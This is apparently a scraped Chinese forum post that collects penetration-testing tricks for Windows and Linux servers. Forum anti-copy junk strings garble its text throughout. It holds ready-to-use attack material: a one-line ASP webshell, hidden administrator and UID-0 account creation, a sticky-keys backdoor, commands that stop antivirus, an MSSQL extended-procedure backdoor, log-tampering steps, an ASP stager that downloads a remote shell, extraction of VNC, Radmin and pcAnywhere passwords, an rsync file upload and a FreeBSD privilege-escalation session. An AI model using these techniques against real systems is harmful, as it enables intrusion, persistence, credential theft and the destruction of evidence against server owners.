渗透技巧总结

admin

旁站路径问题
+ X9 f5 K1 i, h1、读网站配置。
2、用以下VBS
On Error Resume Next
" V, U/ c. E) ~+ RIf (LCase(Right(WScript.Fullname,11))="wscript.exe") Then
  z1 g2 L7 k# V# X* I' y1 E        

: X* ]: }0 F/ R/ H0 oMsgbox Space(12) & "IIS Virtual Web Viewer" & Space(12) & Chr(13) & Space(9) & "
# t- q2 S7 h9 x0 s8 _
Usage:Cscript vWeb.vbs",4096,"Lilo"
, G$ Z4 w. {5 ~/ `  S8 f" S" l        WScript.Quit
End If
Set ObjService=GetObject

! p9 k# ^8 I; t1 Y- a("IIS://LocalHost/W3SVC")
. A/ ]4 f- |2 C2 J5 B# u, S2 n9 hFor Each obj3w In objservice
0 y, f$ T5 u' v( q1 c4 ^) Z        If IsNumeric(obj3w.Name)

: m0 V; Q& t. O+ j0 A7 w5 u/ E! QThen
* x( `: s- a# f5 \3 h  d7 v( y- n                Set OService=GetObject("IIS://LocalHost/W3SVC/" & obj3w.Name)
         
5 [" }7 Z' J- A9 E
       Set VDirObj = OService.GetObject("IIsWebVirtualDir", "ROOT")
                If Err
% H, i7 u4 ]1 A' n$ H4 D
<> 0 Then WScript.Quit (1)
                WScript.Echo Chr(10) & "[" &
+ @7 D4 q. M6 }+ |: E" `
8 h; k" v, m( j! ~OService.ServerComment & "]"
' s6 H7 E5 O; x; [2 p                For Each Binds In OService.ServerBindings
     

# U" E2 z" T( s$ s4 Q) k( M                   Web = "{ " & Replace(Binds,":"," } { ") & " }"
" O7 k+ j. O0 u9 A                        
4 h/ R1 d$ w3 \& r1 u
WScript.Echo Replace(Split(Replace(Web," ",""),"}{")(2),"}","")
) g" P& {1 ^) r4 F2 e9 _2 J                Next
      
7 h, K/ b5 e7 a9 m$ K( y) \* M
+ ?4 r, J/ z: M, C7 a4 N$ z         WScript.Echo "ath            : " & VDirObj.Path
        End If
  V- _. m" F9 p4 l* R" K3 NNext
复制代码
2 ]! _% `4 `) J, U/ L4 x3、iis_spy列举（注：需要支持ASPX，反IISSPY的方法：将activeds.dll，activeds.tlb降权）
4、得到目标站目录，不能直接跨的。通过echo  ^<%execute(request("cmd"))%^> >>X:\目标目录\X.asp 或者copy 脚本文件 X:\目标目录\X.asp  像目标目录写入webshell。或者还可以试试type命令.
—————————————————————
; a4 T% W# e( J# Z5 S% {WordPress的平台，爆绝对路径的方法是：
1 t  P( v* \* B" {  }9 Yurl/wp-content/plugins/akismet/akismet.php
& }6 X; w2 t3 x/ z% e/ v5 Aurl/wp-content/plugins/akismet/hello.php
——————————————————————
phpMyAdmin暴路径办法:
+ O" O# o* G5 x% `6 B$ tphpMyAdmin/libraries/select_lang.lib.php
phpMyAdmin/darkblue_orange/layout.inc.php
phpMyAdmin/index.php?lang[]=1
4 i+ B' F1 I. ~; F5 Wphpmyadmin/themes/darkblue_orange/layout.inc.php
& u' `8 n6 T( u! r9 w————————————————————
网站可能目录(注：一般是虚拟主机类）
data/htdocs.网站/网站/
————————————————————
CMD下操作VPN相关
% P0 l7 K; K4 k# v% @netsh ras set user administrator permit #允许administrator拨入该VPN
/ d: q: i) p( t- H1 P9 f$ anetsh ras set user administrator deny #禁止administrator拨入该VPN
netsh ras show user #查看哪些用户可以拨入VPN
6 `' T' j) s, N$ E0 lnetsh ras ip show config #查看VPN分配IP的方式
netsh ras ip set addrassign method = pool #使用地址池的方式分配IP
netsh ras ip add range from = 192.168.3.1 to = 192.168.3.254 #地址池的范围是从192.168.3.1到192.168.3.254
- _; y, E" ~/ n4 e- q- H————————————————————
* \5 s. o- K/ Q+ d  g命令行下添加SQL用户的方法
1 Z4 H( ^/ b( ^) g& K需要有管理员权限,在命令下先建立一个c:\test.qry文件,内容如下:
exec master.dbo.sp_addlogin test,123
EXEC sp_addsrvrolemember 'test, 'sysadmin'
然后在DOS下执行:cmd.exe /c isql -E /U alma /P /i c:\test.qry

2 K5 @' q8 o$ o% r$ L! g另类的加用户方法
在删掉了net.exe和不用adsi之外，新的加用户的方法。代码如下：
$ G- G6 o# g0 q0 T3 p' sjs:
var o=new ActiveXObject( "Shell.Users" );
- ]; @) ^; p7 `4 [z=o.create("test") ;
z.changePassword("123456","")
z.setting("AccountType")=3;

' r# C) C# o& Q2 |/ |vbs:
Set   o=CreateObject( "Shell.Users" )
* P- }) ]$ t( N, M1 Y, sSet z=o.create("test")
1 i+ J) Y' U. ^- `5 f3 Jz.changePassword "123456",""
+ w7 C( f# M7 w( E: M+ z. A$ ]9 bz.setting("AccountType")=3
4 F& k5 A( K8 f' i4 N! X2 q% e+ i, S——————————————————
) m* p9 S6 g  p) fcmd访问控制权限控制（注：反everyone不可读，工具-文件夹选项-使用简单的共享去掉即可）
' q; e2 T0 Y$ |$ g. t
命令如下
cacls c: /e /t /g everyone:F           #c盘everyone权限
cacls "目录" /d everyone               #everyone不可读，包括admin
$ `6 l% H  ?' g% W' p& N  b————————以下配合PR更好————
  B# X5 b2 F: g. F2 |; O& D+ }3389相关
a、防火墙TCP/IP筛选.（关闭net stop policyagent & net stop sharedaccess）
! F7 Z, m" G3 M4 zb、内网环境（LCX）
c、终端服务器超出了最大允许连接
& b9 C: S3 f8 u( L( a0 g$ w. [4 j  uXP 运行mstsc /admin
2003 运行mstsc /console   

杀软关闭（把杀软所在的文件的所有权限去掉）
% b- Y9 p  o0 K( f# h- }处理变态诺顿企业版：
9 z4 _3 S- H9 r/ T2 a' R* R3 `net stop "Symantec AntiVirus" /y
net stop "Symantec AntiVirus Definition Watcher" /y
net stop "Symantec Event Manager" /y
net stop "System Event Notification" /y
net stop "Symantec Settings Manager" /y
% s! Y* F4 _& R# k+ k7 Z8 |
! h% ]* }3 x7 }& B卖咖啡：net stop "McAfee McShield"
% e9 }" e0 R4 ^8 g————————————————————

5次SHIFT：
copy %systemroot%\system32\sethc.exe %systemroot%\system32\dllcache\sethc1.exe
copy %systemroot%\system32\cmd.exe %systemroot%\system32\dllcache\sethc.exe /y
copy %systemroot%\system32\cmd.exe %systemroot%\system32\sethc.exe /y
* p/ g( Z1 e, U1 Y——————————————————————
隐藏账号添加：
# |$ {1 \! z! Q3 l8 E( e1、net user admin$ 123456 /add&net localgroup administrators admin$ /add
) u( v6 x% ^# Q2、导出注册表SAM下用户的两个键值
1 j0 m) ~' i) M3 B8 {2 I& p3、在用户管理界面里的admin$删除，然后把备份的注册表导回去。
6 d; V7 L9 U" w. x4 X+ x7 C4、利用Hacker Defender把相关用户注册表隐藏
——————————————————————
4 G$ q% x- g( EMSSQL扩展后门：
3 r, ~3 n$ \/ A9 t4 aUSE master;
! @! \% x' r% MEXEC sp_addextendedproc 'xp_helpsystem', 'xp_helpsystem.dll';
GRANT exec On xp_helpsystem TO public;
- s; ?1 ]9 Y2 `8 |8 r6 G———————————————————————
日志处理
5 _7 ]( c1 Z8 U. p$ H$ z: tC:\WINNT\system32\LogFiles\MSFTPSVC1>下有
ex011120.log / ex011121.log / ex011124.log三个文件，
直接删除 ex0111124.log
不成功，“原文件...正在使用”
当然可以直接删除ex011120.log / ex011121.log
用记事本打开ex0111124.log，删除里面的一些内容后，保存，覆盖退出，成功。
! J, q( `% @/ b# r' \1 T* Z当停止msftpsvc服务后可直接删除ex011124.log

MSSQL查询分析器连接记录清除：
$ u# J; O. i* f% L1 |. ^! C5 ]. |MSSQL 2000位于注册表如下：
HKEY_CURRENT_USER\Software\Microsoft\Microsoft SQL Server\80\Tools\Client\PrefServers
找到接接过的信息删除。
" J6 _; J, @* f: qMSSQL 2005是在C:\Documents and Settings\<user>\Application Data\Microsoft\Microsoft SQL
8 n4 s' y! _3 `5 j" b  W% h
* Y& _( e7 F7 z/ T$ eServer\90\Tools\Shell\mru.dat
6 ~; o8 U8 I: v1 n) b0 |—————————————————————————
防BT系统拦截可使用远程下载shell，也达到了隐藏自身的效果，也可以做为超隐蔽的后门，神马的免杀webshell，用服务器安全工具一扫通通挂掉了）
: P' |, c# f( A8 I* {( P
<%
Sub eWebEditor_SaveRemoteFile(s_LocalFileName,s_RemoteFileUrl)
Dim Ads, Retrieval, GetRemoteData
On Error Resume Next
Set Retrieval = Server.CreateObject("Microsoft.XMLHTTP")
With Retrieval
.Open "Get", s_RemoteFileUrl, False, "", ""
6 P; t' g% P3 `1 j.Send
GetRemoteData = .ResponseBody
, V% v5 H: B8 xEnd With
Set Retrieval = Nothing
. @3 f7 d2 b; l; xSet Ads = Server.CreateObject("Adodb.Stream")
With Ads
( X$ E3 N! m, S.Type = 1
3 o- [5 z) w: T% i: e3 A.Open
+ F" q2 C: R* a& l) `.Write GetRemoteData
.SaveToFile Server.MapPath(s_LocalFileName), 2
.Cancel()
.Close()
" D9 @  T# E4 C7 ]; ^+ f6 E& K% ~End With
8 |# O* T5 h) N+ k. q! g/ lSet Ads=nothing
- k# Y0 t; c: E. D0 ]End Sub

eWebEditor_SaveRemoteFile"your shell's name","your shell'urL"
%>
! M( ~  i9 C  h5 O
VNC提权方法:
利用shell读取vnc保存在注册表中的密文，使用工具VNC4X破解
  ]  t" Q0 j& i- s& S3 _注册表位置：HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4\password
& C9 u0 \3 m( L! P( `- @2 o+ {regedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\SOFTWARE\ORL"
regedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\Software\RealVNC\WinVNC4"
6 r; }( Y) F% l. kRadmin 默认端口是4899，
/ `' |) I, @3 p; o6 \HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Parameter//默认密码注册表位置
/ Q, j# G9 t, S* iHKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Port //默认端口注册表位置
然后用HASH版连接。
7 L8 D2 F" q* |' g* t. b' L8 {; L如果我们拿到一台主机的WEBSEHLL。通过查找发现其上安装有PCANYWHERE 同时保存密码文件的目录是允许我们的IUSER权限访问，我们可以下载这个CIF文件到本地破解，再通过PCANYWHERE从本机登陆服务器。
保存密码的CIF文件,不是位于PCANYWHERE的安装目录,而且位于安装PCANYWHERE所安装盘的\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\ 如果PCANYWHERE安装在D:\program\文件下下，那么PCANYWHERE的密码文件就保存在D:\Documents and Settings\All
Users\Application Data\Symantec\pcAnywhere\文件夹下。
——————————————————————
搜狗输入法的PinyinUp.exe是可读可写的直接替换即可
——————————————————----------
WinWebMail目录下的web必须设置everyone权限可读可写，在开始程序里，找到WinWebMail快捷方式下下
! j) f1 |! ^& B  [1 f7 w来，看路径，访问 路径\web传shell，访问shell后，权限是system，放远控进启动项，等待下次重启。
没有删cmd组建的直接加用户。
+ m) t) Z8 j9 G7i24的web目录也是可写，权限为administrator。

8 l$ y" M& r4 s8 g1433 SA点构建注入点。
<%
strSQLServerName = "服务器ip"
% P- K/ J! I$ G. PstrSQLDBUserName = "数据库帐号"
strSQLDBPassword = "数据库密码"
strSQLDBName = "数据库名称"
Set conn = Server.createObject("ADODB.Connection")
; o2 k0 I# s" z& HstrCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName &

7 M8 r) H! |: V8 V";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" &
1 ?- x9 ?0 E( C
/ s. o- [# I) W/ _7 WstrSQLDBName & ";"
conn.open strCon
dim rs,strSQL,id
9 K9 O- K5 P! {+ Pset rs=server.createobject("ADODB.recordset")
  I! }4 @/ L# Xid = request("id")
2 }" c, c5 }1 R, OstrSQL = "select * from ACTLIST where worldid=" & idrs.open strSQL,conn,1,3
1 }: `9 h7 r2 |rs.close
%>
复制代码
, x  {1 N2 @% @! Z******liunx 相关******
3 b) F- k* s- ?' v) k5 I一.ldap渗透技巧
8 Z4 F, d+ E0 ]$ }6 j- L1.cat /etc/nsswitch
看看密码登录策略我们可以看到使用了file ldap模式

2.less /etc/ldap.conf
base ou=People,dc=unix-center,dc=net
找到ou,dc,dc设置

3.查找管理员信息
匿名方式
! |& j- s6 }4 |. dldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
0 J+ @: M1 `  ?' u
8 K4 E) s" C0 ~. U5 s"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
有密码形式
5 K- o7 n6 H, ?: xldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

; ^, ~- A+ a: p! g* ~+ k"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
' W: k0 k  b: h: I- s2 L4 ]

4 }1 s7 [% Y2 W. G4.查找10条用户记录
ldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口
! [+ I+ U  l% R
5 _- E- `' {. _$ v实战:
1.cat /etc/nsswitch
2 {0 b- j8 Z8 C8 ^/ M看看密码登录策略我们可以看到使用了file ldap模式
3 |, J! z: F7 C9 c* E- k7 V0 [
2.less /etc/ldap.conf
base ou=People,dc=unix-center,dc=net
找到ou,dc,dc设置

5 z  I1 ^4 }5 L# |. \4 w3.查找管理员信息
匿名方式
ldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
3 x% b; b5 _8 O* _' q. }/ @
5 o( u3 m' ]2 u& L& k7 b! m"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
. z2 ^8 R' C. v有密码形式
ldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
$ F$ J. F, c( `; p& \2 y  ~$ A( O
  q& h8 f( a7 A! ["cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2

) j6 q, U' h$ X
4.查找10条用户记录
) h& L/ e6 j8 w# {, _4 b% G: d6 \' fldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口
+ w! T: f  i+ T7 j  Z: A
5 x5 Y4 f4 _* F) e! ^渗透实战:
1.返回所有的属性
0 C1 ~; @) i! n0 Zldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s sub "objectclass=*"
6 v8 _/ R" v6 M$ m- U, i. L. o+ y, j0 Iversion: 1
dn: dc=ruc,dc=edu,dc=cn
dc: ruc
5 M* U4 _1 t1 \& dobjectClass: domain

dn: uid=manager,dc=ruc,dc=edu,dc=cn
uid: manager
objectClass: inetOrgPerson
objectClass: organizationalPerson
objectClass: person
1 W" }0 v/ K! }$ a' w0 }# @2 }; FobjectClass: top
) ~8 C* y1 x0 A% w+ csn: manager
cn: manager
9 O3 [" }9 D/ Q7 m2 D4 {
dn: uid=superadmin,dc=ruc,dc=edu,dc=cn
) \+ y. T) V7 Z5 z7 d7 Q4 iuid: superadmin
objectClass: inetOrgPerson
) a9 _& J3 m. b7 F; I5 SobjectClass: organizationalPerson
objectClass: person
* m) [3 w! `! VobjectClass: top
sn: superadmin
cn: superadmin

dn: uid=admin,dc=ruc,dc=edu,dc=cn
uid: admin
! J' B( I6 |$ ?! QobjectClass: inetOrgPerson
objectClass: organizationalPerson
objectClass: person
objectClass: top
$ ~, J' |5 X. N5 Msn: admin
) @' ~  U7 l" pcn: admin
% `: y: b4 c7 t2 K2 w
dn: uid=dcp_anonymous,dc=ruc,dc=edu,dc=cn
; v* i; o2 D+ g. Y+ d1 Luid: dcp_anonymous
objectClass: top
; |) w& D4 x% l( C! U% C0 nobjectClass: person
objectClass: organizationalPerson
objectClass: inetOrgPerson
+ ]- r' m" n$ R, s" H* y8 }; Osn: dcp_anonymous
8 b  _, t- X) H. |cn: dcp_anonymous
$ f7 w/ q9 a4 l
$ B+ C% u& H- M: w2.查看基类
bash-3.00# ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s base "objectclass=*" |
6 H* M7 U; M( G9 `* X: x
2 V" p) a# q& o9 Cmore
version: 1
0 h. a- W+ g5 \' ^2 ]: ~dn: dc=ruc,dc=edu,dc=cn
dc: ruc
# F( v/ M" p3 ]4 @6 `3 Q7 @5 TobjectClass: domain

# `/ @6 j6 ~  b( U. d  t3.查找
bash-3.00# ldapsearch -h 192.168.7.33 -b "" -s base "objectclass=*"
version: 1
dn:
! j9 V3 y7 S. n9 m' H  VobjectClass: top
6 P4 [- `+ Q! q7 Q0 v& _7 G1 f& PnamingContexts: dc=ruc,dc=edu,dc=cn
supportedExtension: 2.16.840.1.113730.3.5.7
/ B& r* K* m0 V0 w- D( VsupportedExtension: 2.16.840.1.113730.3.5.8
5 @6 I( @8 j3 X7 k1 A; g- ysupportedExtension: 1.3.6.1.4.1.4203.1.11.1
; ~! a( X. D% M( z1 \. v' X  y0 HsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.25
supportedExtension: 2.16.840.1.113730.3.5.3
supportedExtension: 2.16.840.1.113730.3.5.5
% o( e- R3 I! EsupportedExtension: 2.16.840.1.113730.3.5.6
supportedExtension: 2.16.840.1.113730.3.5.4
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.1
  ^% l- x/ W3 [8 j4 F. qsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.2
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.3
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.4
2 j! b1 e2 ]) H, rsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.5
* o( C/ |; u, xsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.6
; h7 J, i  p4 y; XsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.7
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.8
: d% Y9 k# u; E" r4 w! ?. v  psupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.9
0 G* r. c5 g! rsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.23
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.11
/ b6 ^' u- o* r) w5 }. j; qsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.12
6 r- V6 c) ^1 n: F3 G% u: _supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.13
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.14
$ ^$ W$ i. N8 ysupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.15
# F5 W# _' b3 XsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.16
, B, O1 O3 r4 ^5 C. csupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.17
9 p8 P3 V) P' o2 ?) H% z9 esupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.18
) @7 y. U* n) @0 D* S6 [7 I5 r1 f/ ~supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.19
1 y4 p. s: Y6 ?+ ~. R/ d) wsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.21
6 y; A9 D0 |( F2 D  H/ o! X$ isupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.22
. Q; m! W; n+ |1 XsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.24
supportedExtension: 1.3.6.1.4.1.1466.20037
- K) a$ _7 f' I/ i! ksupportedExtension: 1.3.6.1.4.1.4203.1.11.3
1 H; s; o/ p2 @7 {. ysupportedControl: 2.16.840.1.113730.3.4.2
supportedControl: 2.16.840.1.113730.3.4.3
5 \5 N" q( {2 K& Y* Y0 isupportedControl: 2.16.840.1.113730.3.4.4
supportedControl: 2.16.840.1.113730.3.4.5
supportedControl: 1.2.840.113556.1.4.473
supportedControl: 2.16.840.1.113730.3.4.9
  B0 F+ o, ]) U9 ?) ZsupportedControl: 2.16.840.1.113730.3.4.16
$ w/ X. b, I: T% W0 t9 j- nsupportedControl: 2.16.840.1.113730.3.4.15
supportedControl: 2.16.840.1.113730.3.4.17
supportedControl: 2.16.840.1.113730.3.4.19
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.2
! j2 K3 q5 b  D7 {7 |supportedControl: 1.3.6.1.4.1.42.2.27.9.5.6
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.8
% D+ n$ R2 }# k- csupportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
supportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
# H/ j: g6 F& tsupportedControl: 2.16.840.1.113730.3.4.14
& r+ c; W1 `# _( u: U  B, vsupportedControl: 1.3.6.1.4.1.1466.29539.12
supportedControl: 2.16.840.1.113730.3.4.12
supportedControl: 2.16.840.1.113730.3.4.18
. H2 |# a, _/ u" W5 |) Q# IsupportedControl: 2.16.840.1.113730.3.4.13
supportedSASLMechanisms: EXTERNAL
supportedSASLMechanisms: DIGEST-MD5
4 s, X2 w; o& q! y4 usupportedLDAPVersion: 2
4 g7 j) M+ @$ g0 p8 LsupportedLDAPVersion: 3
0 N: J& u. Z! L. V0 L$ r1 a" b1 C6 ZvendorName: Sun Microsystems, Inc.
vendorVersion: Sun-Java(tm)-System-Directory/6.2
- L, c) G" D4 N/ {3 v. Tdataversion: 020090516011411
& b% x$ K9 z% b0 A% r1 @netscapemdsuffix: cn=ldap://dc=webA:389
: z1 ?0 r* V9 d& B0 ]% n* j/ K6 jsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA
2 W. r! ]* t6 |supportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_DHE_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_RC4_128_SHA
, @4 B+ K$ f$ I4 t  U- R0 |, E' U: m4 MsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_RC4_128_SHA
9 |$ `3 q5 q( {+ l4 P3 CsupportedSSLCiphers: TLS_DHE_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_128_CBC_SHA
7 h$ s* p( s. x7 I0 o- H3 _supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_RC4_128_MD5
1 ^& c% g2 i& |supportedSSLCiphers: SSL_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_RSA_WITH_AES_128_CBC_SHA
! f. f9 T( u9 h. ~7 csupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_RSA_WITH_3DES_EDE_CBC_SHA
- v! y* Z; H  a$ ^3 U& CsupportedSSLCiphers: SSL_DHE_DSS_WITH_3DES_EDE_CBC_SHA
0 u; g0 G( Z! f! H# y' osupportedSSLCiphers: TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA
( ]$ V1 U6 ]4 D; O4 esupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA
  R8 ^6 u$ B# Z: o+ Z  `% F7 RsupportedSSLCiphers: SSL_RSA_FIPS_WITH_3DES_EDE_CBC_SHA
& i' k  i9 P4 }* RsupportedSSLCiphers: SSL_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_RSA_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_DHE_DSS_WITH_DES_CBC_SHA
7 p) V7 f+ D/ U7 r: BsupportedSSLCiphers: SSL_RSA_FIPS_WITH_DES_CBC_SHA
4 H$ y$ M0 `* _( X$ g! asupportedSSLCiphers: SSL_RSA_WITH_DES_CBC_SHA
supportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_RC4_56_SHA
5 q8 h4 D8 W5 t* X( g7 Z3 rsupportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC4_40_MD5
* S( Q' P) {  \( RsupportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC2_CBC_40_MD5
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_NULL_SHA
) m% v; D: {6 P4 ^& ?- DsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_NULL_SHA
3 A. N: ]  G; f4 W4 J  K* D& \supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_NULL_SHA
supportedSSLCiphers: SSL_RSA_WITH_NULL_SHA
supportedSSLCiphers: SSL_RSA_WITH_NULL_MD5
supportedSSLCiphers: SSL_CK_RC4_128_WITH_MD5
8 ?+ R" k5 x: F2 EsupportedSSLCiphers: SSL_CK_RC2_128_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_DES_192_EDE3_CBC_WITH_MD5
; V! \, o* N- o  l" O1 ~% h- SsupportedSSLCiphers: SSL_CK_DES_64_CBC_WITH_MD5
* u% U0 d! g! |! A: |' S. J. EsupportedSSLCiphers: SSL_CK_RC4_128_EXPORT40_WITH_MD5
3 b) q. n9 |% F: OsupportedSSLCiphers: SSL_CK_RC2_128_CBC_EXPORT40_WITH_MD5
————————————
2. NFS渗透技巧
showmount -e ip
列举IP
9 l3 F, }9 c* |3 ^) _' b' k——————
3.rsync渗透技巧
6 `$ b8 q" `' }' {' Z1.查看rsync服务器上的列表
rsync 210.51.X.X::
$ B) c* G. r4 Y. z3 Ofinance
* M3 S/ k3 r% J) J5 z  t  Zimg_finance
/ n" }' T# z, f" i9 o* S$ jauto
3 g" D* H$ a4 kimg_auto
' B6 _" A9 d8 m& H* J: Qhtml_cms
img_cms
# |6 n7 O; O1 \2 I6 l# {+ ^. F4 Sent_cms
ent_img
ceshi
' h. Q  E& m" z+ tres_img
+ R. F! W6 o5 V' E/ [/ x3 N9 Sres_img_c2
) R! e0 `3 I. I, i6 x; U( ichip
chip_c2
7 V  t- v& P4 r! h$ y2 U3 Dent_icms
games
8 d. V+ j, j  Z$ zgamesimg
8 E- F9 ]  a% z9 U* D+ dmedia
$ p+ V! V" z# e% {5 C! A$ @0 Kmediaimg
% P, u  P" C5 I0 @+ Jfashion
6 Y* ^7 ]" a- q! j- ^+ _8 g# r% F' }res-fashion
res-fo
taobao-home
, ^8 o7 F6 w) L  s- `0 e' Tres-taobao-home
house
+ z" J/ o- r( q7 Nres-house
res-home
+ d& G, |6 f' G6 L  t1 N9 Mres-edu
9 z" O( ~' s7 Wres-ent
3 B6 ?  L6 {# V. |( rres-labs
res-news
res-phtv
0 P( x/ [. Z, ~" K& L3 [* v+ O$ F! Fres-media
6 V1 f6 O8 Q6 v$ R4 F7 p2 Thome
edu
news
; N# X; g/ m, y( C6 P2 u( tres-book
8 y- z8 l5 @0 {& b
看相应的下级目录(注意一定要在目录后面添加上/)
4 r+ }- i4 Y' D) V( t
- K" G) ^3 s+ K0 W2 V' q
( R: H0 _" r: V5 P/ `$ {rsync 210.51.X.X::htdocs_app/
rsync 210.51.X.X::auto/
rsync 210.51.X.X::edu/
2 T8 q. b7 K+ w+ B; N
. J4 r! M$ I* Z6 t& \2.下载rsync服务器上的配置文件
. d% p) O( g. \5 p; g+ Hrsync -avz 210.51.X.X::htdocs_app/ /tmp/app/

3.向上更新rsync文件(成功上传,不会覆盖)
rsync -avz nothack.php 210.51.X.X::htdocs_app/warn/
. U" }8 e8 |$ O. b! ?: B5 y- u: Q5 mhttp://app.finance.xxx.com/warn/nothack.txt
: {. h! {* J  X" q- }
- Q4 e' p* c1 ?, _* j$ o/ k四.squid渗透技巧
$ f7 ?/ t9 F' W' e0 [: J0 tnc -vv baidu.com 80
% w& r, P& j7 U5 h$ k3 c6 y! J1 {GET HTTP://www.sina.com / HTTP/1.0
# |1 E3 e& c) l3 HGET HTTP://WWW.sina.com:22 / HTTP/1.0
五.SSH端口转发
ssh -C -f -N -g -R 44:127.0.0.1:22 cnbird@ip
' p# }/ y7 ^# n+ Y( K9 [! f
6 D$ z' \5 p5 P六.joomla渗透小技巧
. f9 g& J; t: F! B确定版本
1 ~/ F* ]0 z9 w" T( Windex.php?option=com_content&view=article&id=30:what-languages-are-supported-by-joomla-
$ A  i" a0 J5 r& h0 w/ i) n
4 u) L# u8 w, y15&catid=32:languages&Itemid=47

重新设置密码
. i5 |% D, h! F& z( S, }) Jindex.php?option=com_user&view=reset&layout=confirm
. C9 r* W: L9 d! l3 Z4 A7 A, a& Z/ [' W
: t( t2 Y; \' o( X七: Linux添加UID为0的root用户
& ]) y/ t2 E' R9 K( vuseradd -o -u 0 nothack
6 U, _' }/ H6 l( Z5 B
八.freebsd本地提权
2 x7 j+ `* i* j* @. ]6 m: Z! I1 _[argp@julius ~]$ uname -rsi
* freebsd 7.3-RELEASE GENERIC
* [argp@julius ~]$ sysctl vfs.usermount
* vfs.usermount: 1
* [argp@julius ~]$ id
* uid=1001(argp) gid=1001(argp) groups=1001(argp)
* [argp@julius ~]$ gcc -Wall nfs_mount_ex.c -o nfs_mount_ex
, `1 `. A  H4 v  z* [argp@julius ~]$ ./nfs_mount_ex
9 {& N, p  L6 ~  ]! _* ?*
calling nmount()

